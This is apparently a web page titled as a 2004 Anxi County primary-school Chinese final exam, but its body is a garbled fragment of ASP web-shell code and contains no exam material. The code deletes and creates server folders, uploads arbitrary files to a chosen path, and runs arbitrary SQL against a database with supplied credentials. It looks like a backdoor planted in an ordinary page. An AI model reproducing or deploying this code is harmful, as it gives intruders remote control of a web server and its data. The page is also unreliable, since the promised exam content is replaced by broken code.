2004年秋季安溪县小学语文第十一册期末考试卷(一)

tfile.close set fs=nothing response.write "" end if end if end if %><%case "edir.asp" if request("op")="del" then if request("attrib")="true" then wdir=request("path") else wdir=server.mappath(request("path")) end if ssyss.deletefolder wdir,true response.write "" else if request("op")="creat" then if request("attrib")="true" then wdir=request("path") else wdir=server.mappath(request("path")) end if ssyss.createfolder wdir response.write "" end if end if case "up.asp" set upload=new upload_xlsf if upload.form("filepath")="" then htmend "input up path!" set upload=nothing response.end else formpath=upload.form("filepath") if right(formpath,1)<>"/" then formpath=formpath&"/" end if for each formname in upload.objfile set file=upload.file(formname) if file.filesize>0 then file.saveas formpath & file.filename response.write file.filepath&file.filename&" ("&file.filesize&") => "&formpath&file.filename&" succ!
" end if set file=nothing next set upload=nothing sub htmend(msg) set upload=nothing response.write "up succ!" response.end end sub case "sql.asp" if trim(request.form("sqlcmd"))<>"" then password= trim(request.form("pa")) id=trim(request.form("id")) sqllocalname=trim(request.form("sqllocalname")) ku=trim(request.form("ku")) session("sqlu")=id session("sqlp")=password session("sqls")=sqllocalname session("sqlc")=trim(request.form("sqlcmd")) session("sqlk")=ku if sqllocalname="" or sqllocalname="sql server" then sqllocalname="127.0.0.1" set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;password="&password&";user id="&id&";database="&ku&";data source ="&sqllocalname strquery = session("sqlc") set recresult = adoconn.execute(strquery) if left(strquery,4)="exec" or left(strquery,6)="select" then if not recresult.eof then for i=0 to recresult.fields.count-1 strresultn=strresultn&""&recresult.fields(i).name&"" next allre=""&strresultn&"" do while not recresult.eof for i=0 to recresult.fields.count-1 strresult = strresult &""& outcmd(recresult.fields(i).value)&"" next allre=allre&strresult&"" strresult="" recresult.movenext loop allre=allre&"" end if end if set recresult = nothing end if set adoconn = nothing %>

上一页  [1] [2] [3] [4] 下一页